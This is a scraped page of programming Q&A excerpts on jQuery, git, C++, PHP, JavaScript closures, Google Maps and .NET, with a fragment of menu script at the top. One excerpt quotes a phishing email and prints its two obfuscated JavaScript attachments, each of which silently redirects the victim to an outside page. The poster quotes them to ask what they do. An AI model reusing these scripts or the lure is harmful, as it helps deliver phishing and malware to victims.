eval('aMenus[i].onmouseout=function(){window.clearTimeout(oMenuTimeout);oMenuTimeout=window.setTimeout("hideMenu(\'all\')",iMenuTimeout);}'); sCatId=aMenus[i].id; sCatId=sCatId.substring(8,sCatId.length); oItem=document.getElementById('navItem_'+sCatId); if(oItem){ if(!isOp && !(isMac && isIE) && oItem.parentNode)modClass(true,oItem.parentNode,"hasSubMenu"); else modClass(true,oItem,"hasSubMenu"); /* assign event handlers */ eval('oItem.onmouseover=function(){window.clearTimeout(oMenuTimeout);showMenu("navMenu_'+sCatId+'");}'); eval('oItem.onmouseout=function(){window.clearTimeout(oMenuTimeout);oMenuTimeout=window.clearTimeout(oMenuTimeout);oMenuTimeout=window.setTimeout(\'hideMenu("navMenu_'+sCatId+'")\',iMenuTimeout);}'); eval('oItem.onfocus=function(){window.clearTimeout(oMenuTimeout);showMenu("navMenu_'+sCatId+'");}'); eval('oItem.onblur=function(){window.clearTimeout(oMenuTimeout);oMenuTimeout=window.clearTimeout(oMenuTimeout);oMenuTimeout=window.setTimeout(\'hideMenu("navMenu_'+sCatId+'")\',iMenuTimeout);}'); //oItem.addEventListener("keydown",function(){keyNav(this,event);},false); } } } /* this will append the loadMenus function to any previously assigned window.onload event */ /* if you reassign this onload event, you'll need to include this or execute it after all the menus are loaded */ function newOnload(){ if(typeof previousOnload=='function')previousOnload(); loadMenus(); } var previousOnload; if(window.onload!=null)previousOnload=window.onload; window.onload=newOnload; /* show menu and hide all others except ancestors of the current menu */ function showMenu(sWhich){ var oWhich=document.getElementById(sWhich); if(!oWhich){ hideMenu('all'); return; } var aRootMenus=new Array; aRootMenus[0]=sWhich var sCurrentRoot=sWhich; var bHasParentMenu=false; if(sCurrentRoot.indexOf('.')!=-1){ bHasParentMenu=true; } /* make array of this menu and ancestors so we know which to leave exposed */ /* ex. from ID string "navMenu_12.3.7.4", extracts menu levels ["12.3.7.4", "12.3.7", "12.3", "12"] */ while(bHasParentMenu){ if(sCurrentRoot.indexOf('.')==-1)bHasParentMenu=false; aRootMenus[aRootMenus.length]=sCurrentRoot; sCurrentRoot=sCurrentRoot.substring(0,sCurrentRoot.lastIndexOf('.')); } for(var i=0;i<aMenus.length;i++){ var bIsRoot=false; for(var j=0;j<aRootMenus.length;j++){ var oThisItem=document.getElementById(aMenus[i].id.replace('navMenu_','navItem_')); if(aMenus[i].id==aRootMenus[j])bIsRoot=true; } if(bIsRoot && oThisItem)modClass(true,oThisItem,'hasSubMenuActive'); else modClass(false,oThisItem,'hasSubMenuActive'); if(!bIsRoot && aMenus[i].id!=sWhich)modClass(false,aMenus[i],'showMenu'); } modClass(true,oWhich,'showMenu'); var oItem=document.getElementById(sWhich.replace('navMenu_','navItem_')); if(oItem)modClass(true,oItem,'hasSubMenuActive'); } function hideMenu(sWhich){ if(sWhich=='all'){ /* loop backwards b/c WinIE6 has a bug with hiding display of an element when it's parent is already hidden */ for(var i=aMenus.length-1;i>=0;i--){ var oThisItem=document.getElementById(aMenus[i].id.replace('navMenu_','navItem_')); if(oThisItem)modClass(false,oThisItem,'hasSubMenuActive'); modClass(false,aMenus[i],'showMenu'); } }else{ var oWhich=document.getElementById(sWhich); if(oWhich)modClass(false,oWhich,'showMenu'); var oThisItem=document.getElementById(sWhich.replace('navMenu_','navItem_')); if(oThisItem)modClass(false,oThisItem,'hasSubMenuActive'); } } /* add or remove element className */ function modClass(bAdd,oElement,sClassName){ if(bAdd){/* add class */ if(oElement.className.indexOf(sClassName)==-1)oElement.className+=' '+sClassName; }else{/* remove class */ if(oElement.className.indexOf(sClassName)!=-1){ if(oElement.className.indexOf(' '+sClassName)!=-1)oElement.className=oElement.className.replace(' '+sClassName,''); else oElement.className=oElement.className.replace(sClassName,''); } } return oElement.className; /* return new className */ } //document.body.addEventListener("keydown",function(){keyNav(event);},true); function setBubble(oEvent){ oEvent.bubbles = true; } function keyNav(oElement,oEvent){ alert(oEvent.keyCode); window.status=oEvent.keyCode; return false; }

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  • jquery addresses and live method

    - by Jay
    //deep linking $.fn.ajaxAnim = function() { $(this).animW(); $(this).html('<div class="load-prog">loading...</div>'); } $("document").ready(function(){ contM = $('#main-content'); contS = $('#second-content'); $(contM).hide(); $(contM).addClass('hidden'); $(contS).hide(); $(contS).addClass('hidden'); function loadURL(URL) { //console.log("loadURL: " + URL); $.ajax({ url: URL, beforeSend: function(){$(contM).ajaxAnim();}, type: "POST", dataType: 'html', data: {post_loader: 1}, success: function(data){ $(contM).html(data); $('.post-content').initializeScroll(); } }); } // Event handlers $.address.init(function(event) { //console.log("init: " + $('[rel=address:' + event.value + ']').attr('href')); }).change(function(event) { evVal = event.value; if(evVal == '/'){return false;} else{ $.ajax({ url: $('[rel=address:' + evVal + ']').attr('href'), beforeSend: function(){$(contM).ajaxAnim();}, type: "POST", dataType: 'html', data: {post_loader: 1}, success: function(data){ $(contM).html(data); $('.post-content').initializeScroll(); }}); } //console.log("change"); }) $('.update-main a, a.update-main').live('click', function(){ loadURL($(this).attr('href')); return false; }); $(".update-second a, a.update-second").live('click', function() { var link = $(this); $.ajax({ url: link.attr("href"), beforeSend: function(){$(contS).ajaxAnim();}, type: "POST", dataType: 'html', data: {post_loader: 1}, success: function(data){ $(contS).html(data); $('.post-content').initializeScroll(); }}); return false; }); }); I'm using jquery addresses to update content while maintaining a useful url. When clicking on links in a main nav, the url is updated properly, but when links are loaded dynamically with ajax, the url address function breaks. I have made 'click' events live, allowing for content to be loaded via dynamically loaded links, but I can't seem to make the address event listener live, but this seems to be the only way to make this work. Is my syntax wrong if I change this : $.address.change(function(event) { to this: $.address.live('change', function(event) { or does the live method not work with this plugin?

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  • bug in my jquery code while trying replace html elements with own values

    - by loviji
    I today ask a question, about using Jquery, replace html elements with own values. link text And I use answer, and get a problem. function replaceWithValues not works same in all cases.I call this function two times: 1. btnAddParam click 2. btnCancelEdit click $("#btnAddParam").click(function() { var lastRow = $('#mainTable tr:last'); var rowState = $("#mainTable tr:last>td:first"); replaceWithValues(lastRow, rowState); var htmlToAppend = "<tr bgcolor='#B0B0B0' ><td class='textField' er='editable'><input value='' type='text' /></td><td><textarea cols='40' rows='3' ></textarea></td><td>" + initSelectType(currentID) + "</td><td><input id='txt" + currentID + "3' type='text' class='measureUnit' /></td><td><input type='checkbox' /></td><td></td></tr>"; $("#mainTable").append(htmlToAppend); }); //buttonCancelEdit located in end of row $('#mainTable input:button').unbind().live('click', function() { var row = $(this).closest('tr'); var rowState = $(this).closest('tr').find("td:first"); replaceWithValues(row, rowState); $(this).remove(); }); //do row editable -- replaceWithElements $('#mainTable tr').unbind().live('click', function() { if ($(this).find("td:first").attr("er") == "readable") { var rowState = $(this).closest('tr').find("td:first"); replaceWithElements($(this), rowState); } }); function replaceWithValues(row, er) { if (er.attr("er") == "editable") { var inputElements = $('td > input:text', row); inputElements.each(function() { var value = $(this).val(); $(this).replaceWith(value); }); er.attr("er", "readable"); } } function replaceWithElements(row, er) { if (er.attr("er") == "readable") { var tdinit = $("<td>").attr("er", "editable").addClass("textField"); $('.textField', row).each(function() { var element = tdinit.append($("<input type='text' value="+$.trim($(this).text())+" />")); $(this).empty().replaceWith(element); }); row.find("td:last").append("<input type='button'/>"); //$('.selectField') ... //$('.textAreaField') ... } } $("#btnAddParam").click() function works well. it call function replaceWithValues. I call $('#mainTable tr').unbind().live('click', function() { } to do row editable, and it creates a button in the end of row. After user can click this button and call function $('#mainTable input:button').unbind().live('click', function() {}. and this function call function replaceWithValues. but in this case it doesn't work.

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  • github like workflow on private server over ssh

    - by Jesse
    I have an server (available via ssh) on the internet that my friend and I use for working on projects together. We have started using git for source control. Our setup currently is as follows: Friend created repository on server with git init named project.friend.git I cloned project.friend.git on server to project.jesse.git I then cloned project.jesse.git on server to my local machine using git clone jesse@server:/git_repos/project.jesse.git I work on my local machine and commit to the local machine. When I want to push my changes to the project.jesse.git on server I use git push origin master. My friend is working on project.friend.git. When I want to get his changes I do pull jesse@server:/git_repos/project.friend.git. Everything seems to be working fine, however, I am now getting the following error when I do git push origin master: localpc:project.jesse jesse$ git push origin master Counting objects: 100, done. Delta compression using up to 2 threads. Compressing objects: 100% (76/76), done. Writing objects: 100% (76/76), 15.98 KiB, done. Total 76 (delta 50), reused 0 (delta 0) warning: updating the current branch warning: Updating the currently checked out branch may cause confusion, warning: as the index and work tree do not reflect changes that are in HEAD. warning: As a result, you may see the changes you just pushed into it warning: reverted when you run 'git diff' over there, and you may want warning: to run 'git reset --hard' before starting to work to recover. warning: warning: You can set 'receive.denyCurrentBranch' configuration variable to warning: 'refuse' in the remote repository to forbid pushing into its warning: current branch. warning: To allow pushing into the current branch, you can set it to 'ignore'; warning: but this is not recommended unless you arranged to update its work warning: tree to match what you pushed in some other way. warning: warning: To squelch this message, you can set it to 'warn'. warning: warning: Note that the default will change in a future version of git warning: to refuse updating the current branch unless you have the warning: configuration variable set to either 'ignore' or 'warn'. To jesse@server:/git_repos/project.jesse.git c455cb7..e9ec677 master -> master Is this warning anything I need to be worried about? Like I said, everything seems to be working. My friend is able to pull my changes in from my branch. I have the clone on the server so he can access it since he does not have access to my local machine. Is there something that could be done better? Thanks!

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  • Need help with implementation of the jQuery LiveUpdate routine

    - by miCRoSCoPiC_eaRthLinG
    Hey all, Has anyone worked with the LiveUpdate function (may be a bit of a misnomer) found on this page? It's not really a live search/update function, but a quick filtering mechanism for a pre-existing list, based on the pattern you enter in a text field. For easier reference, I'm pasting the entire function in here: jQuery.fn.liveUpdate = function(list){ list = jQuery(list); if ( list.length ) { var rows = list.children('li'), cache = rows.map(function(){ return this.innerHTML.toLowerCase(); }); this .keyup(filter).keyup() .parents('form').submit(function(){ return false; }); } return this; function filter(){ var term = jQuery.trim( jQuery(this).val().toLowerCase() ), scores = []; if ( !term ) { rows.show(); } else { rows.hide(); cache.each(function(i){ var score = this.score(term); if (score > 0) { scores.push([score, i]); } }); jQuery.each(scores.sort(function(a, b){return b[0] - a[0];}), function(){ jQuery(rows[ this[1] ]).show(); }); } } }; I have this list, with members as the ID. And a text field with say, qs as ID. I tried binding the function in the following manner: $( '#qs' ).liveUpdate( '#members' ); But when I do this, the function is called only ONCE when the page is loaded (I put in some console.logs in the function) but never after when text is keyed into the text field. I also tried calling the routine from the keyup() function of qs. $( '#qs' ).keyup( function() { $( this ).liveUpdate( '#members' ); }); This ends up going into infinite loops (almost) and halting with "Too much recursion" errors. So can anyone please shed some light on how I am supposed to actually implement this function? Also while you are at it, can someone kindly explain this line to me: var score = this.score(term); What I want to know is where this member method score() is coming from? I didn't find any such method built into JS or jQuery. Thanks for all the help, m^e

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  • functional, bind1st and mem_fun

    - by Neil G
    Why won't this compile? #include <functional> #include <boost/function.hpp> class A { A() { typedef boost::function<void ()> FunctionCall; FunctionCall f = std::bind1st(std::mem_fun(&A::process), this); } void process() {} }; Errors: In file included from /opt/local/include/gcc44/c++/bits/stl_function.h:712, from /opt/local/include/gcc44/c++/functional:50, from a.cc:1: /opt/local/include/gcc44/c++/backward/binders.h: In instantiation of 'std::binder1st<std::mem_fun_t<void, A> >': a.cc:7: instantiated from here /opt/local/include/gcc44/c++/backward/binders.h:100: error: no type named 'second_argument_type' in 'class std::mem_fun_t<void, A>' /opt/local/include/gcc44/c++/backward/binders.h:103: error: no type named 'first_argument_type' in 'class std::mem_fun_t<void, A>' /opt/local/include/gcc44/c++/backward/binders.h:106: error: no type named 'first_argument_type' in 'class std::mem_fun_t<void, A>' /opt/local/include/gcc44/c++/backward/binders.h:111: error: no type named 'second_argument_type' in 'class std::mem_fun_t<void, A>' /opt/local/include/gcc44/c++/backward/binders.h:117: error: no type named 'second_argument_type' in 'class std::mem_fun_t<void, A>' /opt/local/include/gcc44/c++/backward/binders.h: In function 'std::binder1st<_Operation> std::bind1st(const _Operation&, const _Tp&) [with _Operation = std::mem_fun_t<void, A>, _Tp = A*]': a.cc:7: instantiated from here /opt/local/include/gcc44/c++/backward/binders.h:126: error: no type named 'first_argument_type' in 'class std::mem_fun_t<void, A>' In file included from /opt/local/include/boost/function/detail/maybe_include.hpp:13, from /opt/local/include/boost/function/detail/function_iterate.hpp:14, from /opt/local/include/boost/preprocessor/iteration/detail/iter/forward1.hpp:47, from /opt/local/include/boost/function.hpp:64, from a.cc:2: /opt/local/include/boost/function/function_template.hpp: In static member function 'static void boost::detail::function::void_function_obj_invoker0<FunctionObj, R>::invoke(boost::detail::function::function_buffer&) [with FunctionObj = std::binder1st<std::mem_fun_t<void, A> >, R = void]': /opt/local/include/boost/function/function_template.hpp:913: instantiated from 'void boost::function0<R>::assign_to(Functor) [with Functor = std::binder1st<std::mem_fun_t<void, A> >, R = void]' /opt/local/include/boost/function/function_template.hpp:722: instantiated from 'boost::function0<R>::function0(Functor, typename boost::enable_if_c<boost::type_traits::ice_not::value, int>::type) [with Functor = std::binder1st<std::mem_fun_t<void, A> >, R = void]' /opt/local/include/boost/function/function_template.hpp:1064: instantiated from 'boost::function<R()>::function(Functor, typename boost::enable_if_c<boost::type_traits::ice_not::value, int>::type) [with Functor = std::binder1st<std::mem_fun_t<void, A> >, R = void]' a.cc:7: instantiated from here /opt/local/include/boost/function/function_template.hpp:153: error: no match for call to '(std::binder1st<std::mem_fun_t<void, A> >) ()'

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  • How to get a profile picture from fb:friends selector

    - by malshan
    Im a Newbie to PHP and FBML(Facebook Markup Language).....so now im coding a Facebook app so I need to get profile picture and friend name when I select a name from FB:Friend Selector Select a Friend <fb:friend-selector uid="exclude_ids" name="pal" idname="friend_sel" /> I use exclude_ids to see all friends in my selector so how to get profile picture? I can get name from this but how to get the profile pic large?

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  • Using 3rd Party JavaScript Plugins Hardwired With &lsquo;document.write&rsquo;

    - by ToStringTheory
    Introduction Have you ever had the need to implement a 3rd party JavaScript plugin, but your needs didn’t fit the model and usage defined by the API or documentation of the plugin?  Recently I ran into this issue when I was trying to implement a web snapshot plugin into our site.  To use their plugin, you had to include a script tag to the plugin on their server with an API key.  The second part of the usage was to include a <script> tag around a function call wherever you wanted a snapshot to appear. The Problem When trying to use the service, the images did not display.  I checked a couple of things and didn’t find anything wrong at first..  It wasn’t until I looked at the function that was called by the inline script did I find the issue – a call to the webservice, followed by a call to ‘document.write’ in its callback.  The solution in which I was trying to implement the plugin happened to be in response to an AJAX call after the document had completely loaded.  After the page has loaded, document.write does nothing. My first thought for a solution was to just cache the script from the service, and edit it do something like a return function or callback that I could use to edit the document from.  However, I quickly discovered that there is no way to cache the script from the service, as it had a hash in the function where it would call the server.  The hash was updated every few seconds/minutes, expiring old hashes.  This meant that I wouldn’t be able to edit the script and upload a new version to my server, as the script would not work after a few minutes from originally getting the script from the service. Solution The solution eluded me until I realized that this was JavaScript I was dealing with.  A language designed so that you could do just about anything to any library, function, or object…  At this point, the solution was simple – take control of the document.write function.  Using a buffer variable, and a simple function call, it is eerily simple to perform: //what would have been output to the document var buffer = ""; //store a reference to the real document.write var dw = document.write; //redefine document.write to store to our buffer document.write = function (str) {buffer += str;} //execute the function containing calls to document.write eval('{function encapsulated in <script></script> tags}'); //restore the original document.write function (just in case) document.write = dw; That’s it.  Instead of using the script tags where I wanted to include a snapshot, I called a function passing in the URL to the page I wanted a snapshot of.  After that last line of code, what would have been output to the document (or not in the case of the ajax call) was instead stored in buffer. Conclusion While the solution itself is simple, coming from a background much more footed in the .Net platform, I believe that this is a prime example of always keeping the language that you are working in in mind.  While this may seem obvious at first, as I KNEW I was in JavaScript, I never thought of taking control of the document.write function because I am more accustomed to the .Net world.  I can’t simply replace the functionality of Console.WriteLine.

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  • Debugging OWB generated SAP ABAP code executed through RFC

    - by Anil Menon
    Within OWB if you need to execute ABAP code using RFC you will have to use the SAP Function Module RFC_ABAP_INSTALL_AND_RUN. This function module is specified during the creation of the SAP source location. Usually in a Production environment a copy of this function module is used due to security restrictions. When you execute the mapping by using this Function Module you can’t see the actual ABAP code that is passed on to the SAP system. In case you want to take a look at the code that will be executed on the SAP system you need to use a custom Function Module in SAP. The easiest way to do this is to make a copy of the Function Module RFC_ABAP_INSTALL_AND_RUN and call it say Z_TEST_FM. Then edit the code of the Function Module in SAP as below FUNCTION Z_TEST_FM . DATA: BEGIN OF listobj OCCURS 20. INCLUDE STRUCTURE abaplist. DATA: END OF listobj. DATA: begin_of_line(72). DATA: line_end_char(1). DATA: line_length type I. DATA: lin(72). loop at program. append program-line to WRITES. endloop. ENDFUNCTION. Within OWB edit the SAP Location and use Z_TEST_FM as the “Execution Function Module” instead of  RFC_ABAP_INSTALL_AND_RUN. Then register this location. The Mapping you want to debug will have to be deployed. After deployment you can right click the mapping and click on “Start”.   After clicking start the “Input Parameters” screen will be displayed. You can make changes here if you need to. Check that the parameter BACKGROUND is set to “TRUE”. After Clicking “OK” the log for the execution will be displayed. The execution of Mappings will always fail when you use the above function module. Clicking on the icon “I” (information) the ABAP code will be displayed.   The ABAP code displayed is the code that is passed through the Function Module. You can also find the code by going through the log files on the server which hosts the OWB repository. The logs will be located under <OWB_HOME>/owb/log. Patch #12951045 is recommended while using the SAP Connector with OWB 11.2.0.2. For recommended patches for other releases please check with Oracle Support at http://support.oracle.com

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  • Should library classes be wrapped before using them in unit testing?

    - by Songo
    I'm doing unit testing and in one of my classes I need to send a mail from one of the methods, so using constructor injection I inject an instance of Zend_Mail class which is in Zend framework. Example: class Logger{ private $mailer; function __construct(Zend_Mail $mail){ $this->mail=$mail; } function toBeTestedFunction(){ //Some code $this->mail->setTo('some value'); $this->mail->setSubject('some value'); $this->mail->setBody('some value'); $this->mail->send(); //Some } } However, Unit testing demands that I test one component at a time, so I need to mock the Zend_Mail class. In addition I'm violating the Dependency Inversion principle as my Logger class now depends on concretion not abstraction. Does that mean that I can never use a library class directly and must always wrap it in a class of my own? Example: interface Mailer{ public function setTo($to); public function setSubject($subject); public function setBody($body); public function send(); } class MyMailer implements Mailer{ private $mailer; function __construct(){ $this->mail=new Zend_Mail; //The class isn't injected this time } function setTo($to){ $this->mailer->setTo($to); } //implement the rest of the interface functions similarly } And now my Logger class can be happy :D class Logger{ private $mailer; function __construct(Mailer $mail){ $this->mail=$mail; } //rest of the code unchanged } Questions: Although I solved the mocking problem by introducing an interface, I have created a totally new class Mailer that now needs to be unit tested although it only wraps Zend_Mail which is already unit tested by the Zend team. Is there a better approach to all this? Zend_Mail's send() function could actually have a Zend_Transport object when called (i.e. public function send($transport = null)). Does this make the idea of a wrapper class more appealing? The code is in PHP, but answers doesn't have to be. This is more of a design issue than a language specific feature

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  • Javscript closure questions

    - by Shuchun Yang
    While I was reading the book Javascript: The Good Parts. I can not understand the piece of code bellow: We can generalize this by making a function that helps us make memoized functions. The memoizer function will take an initial memo array and the fundamental function. It returns a shell function that manages the memo store and that calls the fundamental function as needed. We pass the shell function and the function's parameters to the fundamental function: var memoizer = function (memo, fundamental) { var shell = function (n) { var result = memo[n]; if (typeof result !== 'number') { result = fundamental(shell, n); memo[n] = result; } return result; }; return shell; }; We can now define fibonacci with the memoizer, providing the initial memo array and fundamental function: var fibonacci = memoizer([0, 1], function (test, n) { return test(n - 1) + test(n - 2); }); My question is what is the test function? When does it get defined and invoked? It seems very confusing to me. Also I think this statement: memo[n] = result; is useless. Please correct if I am wrong.

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  • What does this Javascript do?

    - by nute
    I've just found out that a spammer is sending email from our domain name, pretending to be us, saying: Dear Customer, This e-mail was send by ourwebsite.com to notify you that we have temporanly prevented access to your account. We have reasons to beleive that your account may have been accessed by someone else. Please run attached file and Follow instructions. (C) ourwebsite.com (I changed that) The attached file is an HTML file that has the following javascript: <script type='text/javascript'>function mD(){};this.aB=43719;mD.prototype = {i : function() {var w=new Date();this.j='';var x=function(){};var a='hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');var d=new Date();y="";aL="";var f=document;var s=function(){};this.yE="";aN="";var dL='';var iD=f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];this.v="v";var q=27427;var m=new Date();iD['hqrteqfH'.replace(/[Htqag]/g, '')]=a;dE='';k="";var qY=function(){};}};xO=false;var b=new mD(); yY="";b.i();this.xT='';</script> Another email had this: <script type='text/javascript'>function uK(){};var kV='';uK.prototype = {f : function() {d=4906;var w=function(){};var u=new Date();var hK=function(){};var h='hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, '');var n=new Array();var e=function(){};var eJ='';t=document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')];this.nH=false;eX=2280;dF="dF";var hN=function(){return 'hN'};this.g=6633;var a='';dK="";function x(b){var aF=new Array();this.q='';var hKB=false;var uN="";b['hIrBeTf.'.replace(/[\.BTAI]/g, '')]=h;this.qO=15083;uR='';var hB=new Date();s="s";}var dI=46541;gN=55114;this.c="c";nT="";this.bG=false;var m=new Date();var fJ=49510;x(t);this.y="";bL='';var k=new Date();var mE=function(){};}};var l=22739;var tL=new uK(); var p="";tL.f();this.kY=false;</script> Can anyone tells me what it does? So we can see if we have a vulnerability, and if we need to tell our customers about it ... Thanks

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  • Why does jQuery's $().each() function seem to be losing track of the DOM?

    - by Nate Wagar
    I've recently started encountering a very strange problem. To be honest, I'm not entirely sure how to describe it other than to just show it. Here's the relevant HTML: <div class="component container w100 noEdit" id="contentWrapper"> <div class="component container w50" id="container1"> <div class="component text w50" id="text1"> Text1 </div> </div> <div class="component container w25" id="container2"> Container2 </div> <div class="component container w25" id="container3"> Container3 </div> <div class="component container w25" id="container4"> Container4 </div> </div> And the relevant JavaScript: $(document).ready(function () { //Add the Grab Bar to container components on the page. $('.component').each(wrapComponentForEdit); $('#contentWrapper').sortable(); $('#contentWrapper').disableSelection(); }); var wrapComponentForEdit = function() { if (!$(this).hasClass('noEdit')) { $(this).html('<div class="componentBorder">' + $(this).html() + '</div>'); $(this).prepend('<div class="grabBar_l"><div class="grabBar_r"><div class="grabBar"></div></div></div>'); alert($(this).attr('id')); } } The end result of this is that I see an alert pop up for container1, text1, container2, container3, container 4. And yet only the containers (not the text) end up with the visual changes that the $().each() is supposed to make. Anyone have any idea what the heck is going on? Thanks! EDIT - A different way to do it, that still fails I tried this, with the same result: $(document).ready(function () { //Add the Grab Bar to container components on the page. var matched = $('.component'); var componentCount = $(matched).size(); for (i = 0; i < componentCount; i++) { wrapComponentForEdit($(matched).eq(i)); } $('#contentWrapper').sortable({ handle: '.grabBarBit', tolerance: 'pointer'}); $('#contentWrapper').disableSelection(); }); var wrapComponentForEdit = function(component) { if (!$(component).hasClass('noEdit')) { $(component).html('<div class="grabBar_l grabBarBit"><div class="grabBar_r grabBarBit"><div class="grabBar grabBarBit"></div></div></div><div class="componentBorder">' + $(component).html() + '</div>'); alert($(component).attr('id')); } } EDIT 2: Another alternate method, but this one works I tried another way of doing things, and this way it works. However, the initial question still stands. Judging by how this new way works, it seems to me that the DOM is being updated, but jQuery isn't updating with it, so it loses track of the child element. $(document).ready(function () { //Add the Grab Bar to container components on the page. var componentCount = $('.component').size(); for (i = 0; i < componentCount; i++) { wrapComponentForEdit($('.component').eq(i)); } $('#contentWrapper').sortable({ handle: '.grabBarBit', tolerance: 'pointer'}); $('#contentWrapper').disableSelection(); }); var wrapComponentForEdit = function(component) { if (!$(component).hasClass('noEdit')) { $(component).html('<div class="grabBar_l grabBarBit"><div class="grabBar_r grabBarBit"><div class="grabBar grabBarBit"></div></div></div><div class="componentBorder">' + $(component).html() + '</div>'); alert($(component).attr('id')); } }

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  • Delaying execution of Javascript function relative to Google Maps / geoxml3 parser?

    - by Terra Fimeira
    I'm working on a implementing a Google map on a website with our own tiles overlays and KML elements. I've been previously requested to create code so that, for instance, when the page is loaded from a specific URL, it would initialize with one of the tile overlays already enabled. Recently, I've been requested to do the same for the buildings which are outlined by KML elements so that, arriving at the page with a specific URL, it would automatically zoom, center, and display information on the building. However, while starting with the tile overlays work, the building KML does not. After doing some testing, I've determined that when the code which checks the URL executes, the page is still loading the KML elements and thus do not exist for the code to compare to or use: Code for evaluating URL (placed at the end of onLoad="initialize()") function urlClick() { var currentURL = window.location.href; //Retrieve page URL var URLpiece = currentURL.slice(-6); //pull the last 6 digits (for testing) if (URLpiece === "access") { //If the resulting string is "access": access_click(); //Display accessibility overlay } else if (URLpiece === "middle") { //Else if the string is "middle": facetClick('Middle College'); //Click on building "Middle College" }; }; facetClick(); function facetClick(name) { //Convert building name to building ID. for (var i = 0; i < active.placemarks.length; i++) { if (active.placemarks[i].name === name) { sideClick(i) //Click building whose id matches "Middle College" }; }; }; Firebug Console Error active is null for (var i = 0; i < active.placemarks.length; i++) { active.placemarks is which KML elements are loaded on the page, and being null, means no KML has been loaded yet. In short, I have a mistiming and I can't seem to find a suitable place to place the URL code to execute after the KMl has loaded. As noted above, I placed it at the end of onLoad="initialize()", but it would appear that, instead of waiting for the KML to completely load earlier in the function, the remainder of the function is executed: onLoad="initialize()" information(); //Use the buttons variables inital state to set up description buttons(); //and button state button_hover(0); //and button description to neutral. //Create and arrange the Google Map. //Create basic tile overlays. //Set up parser to work with KML elements. myParser = new geoXML3.parser({ //Parser: Takes KML and converts to JS. map: map, //Applies parsed KML to the map singleInfoWindow: true, afterParse: useTheData //Allows us to use the parsed KML in a function }); myParser.parse(['/maps/kml/shapes.kml','/maps/kml/shapes_hidden.kml']); google.maps.event.addListener(map, 'maptypeid_changed', function() { autoOverlay(); }); //Create other tile overlays to appear over KML elements. urlClick(); I suspect one my issues lies in using the geoxml3 parser (http://code.google.com/p/geoxml3/) which converts our KML files to Javascript. While the page has completed loading all of the elements, the map on the page is still loading, including the KML elements. I have also tried placing urlClick() in the parser itself in various places which appear to execute after all the shapes have been parsed, but I've had no success there either. While I've been intending to strip out the parser, I would like to know if there is any way of executing the "urlClick" after the parser has returned the KML shapes. Ideally, I don't want to use an arbitrary means of defining a time to wait, such as "wait 3 seconds, and go", as my various browsers all load the page at different times; rather, I'm looking for some way to say "when the parser is done, execute" or "when the Google map is completely loaded, execute" or perhaps even "hold until the parser is complete before advancing to urlClick".

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  • Need help profiling .NET caching extension method.

    - by rockinthesixstring
    I've got the following extension Public Module CacheExtensions Sub New() End Sub Private sync As New Object() Public Const DefaultCacheExpiration As Integer = 1200 ''# 20 minutes <Extension()> Public Function GetOrStore(Of T)(ByVal cache As Cache, ByVal key As String, ByVal generator As Func(Of T)) As T Return cache.GetOrStore(key, If(generator IsNot Nothing, generator(), Nothing), DefaultCacheExpiration) End Function <Extension()> Public Function GetOrStore(Of T)(ByVal cache As Cache, ByVal key As String, ByVal generator As Func(Of T), ByVal expireInSeconds As Double) As T Return cache.GetOrStore(key, If(generator IsNot Nothing, generator(), Nothing), expireInSeconds) End Function <Extension()> Public Function GetOrStore(Of T)(ByVal cache As Cache, ByVal key As String, ByVal obj As T) As T Return cache.GetOrStore(key, obj, DefaultCacheExpiration) End Function <Extension()> Public Function GetOrStore(Of T)(ByVal cache As Cache, ByVal key As String, ByVal obj As T, ByVal expireInSeconds As Double) As T Dim result = cache(key) If result Is Nothing Then SyncLock sync If result Is Nothing Then result = If(obj IsNot Nothing, obj, Nothing) cache.Insert(key, result, Nothing, DateTime.Now.AddSeconds(expireInSeconds), cache.NoSlidingExpiration) End If End SyncLock End If Return DirectCast(result, T) End Function End Module From here, I'm using the extension is a TagService to get a list of tags Public Function GetTagNames() As List(Of String) Implements Domain.ITagService.GetTags ''# We're not using a dynamic Cache key because the list of TagNames ''# will persist across all users in all regions. Return HttpRuntime.Cache.GetOrStore(Of List(Of String))("TagNamesOnly", Function() _TagRepository.Read().Select(Function(t) t.Name).OrderBy(Function(t) t).ToList()) End Function All of this is pretty much straight forward except when I put a breakpoint on _TagRepository.Read(). The problem is that it is getting called on every request, when I thought that it is only to be called when Result Is Nothing Am I missing something here?

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  • C# - Alternative to System.Timers.Timer, to call a function at a specific time.

    - by Fábio Antunes
    Hello everybody. I want to call a specific function on my C# application at a specific time. At first i thought about using a Timer (System.Time.Timer), but that soon became impossible to use. Why? Simple. The Timer Class requires a Interval in milliseconds, but considering that i might want the function to be executed, lets says in a week that would mean: 7 Days = 168 hours; 168 Hours = 10,080 minutes; 10,080 Minutes = 6,048,000 seconds; 6,048,000 Seconds = 6,048,000,000 milliseconds; So the Interval would be 6,048,000,000; Now lets remember that the Interval accepted data type is int, and as we know int range goes from -2,147,483,648 to 2,147,483,647. That makes Timer useless in this case once we cannot set a Interval bigger that 2,147,483,647 milliseconds. So i need a solution where i could specify when the function should be called. Something like this: solution.ExecuteAt = "30-04-2010 15:10:00"; solution.Function = "functionName"; solution.Start(); So when the System Time would reach "30-04-2010 15:10:00" the function would be executed in the application. How can this problem be solved? Thanks just by taking the time to read my question. But if you could provide me with some help i would be most grateful. Additional Info: What these functions will do? Getting climate information and based on that info: Starting / Shutting down other Applications (most of them Console Based); Sending custom Commands to those Console Applications; Power down, Rebooting, Sleep, Hibernate the computer; And if possible schedule the BIOS to Power Up the Computer; EDIT: It would seem that the Interval accepted data type is double, however if you set a value bigger that an int to the Interval, and call Start() it throws a exception [0, Int32.MaxValue]. EDIT 2: Jørn Schou-Rode suggested using Ncron to handle the scheduling tasks, and at first look this seems a good solution, but i would like to hear about some who as worked with it.

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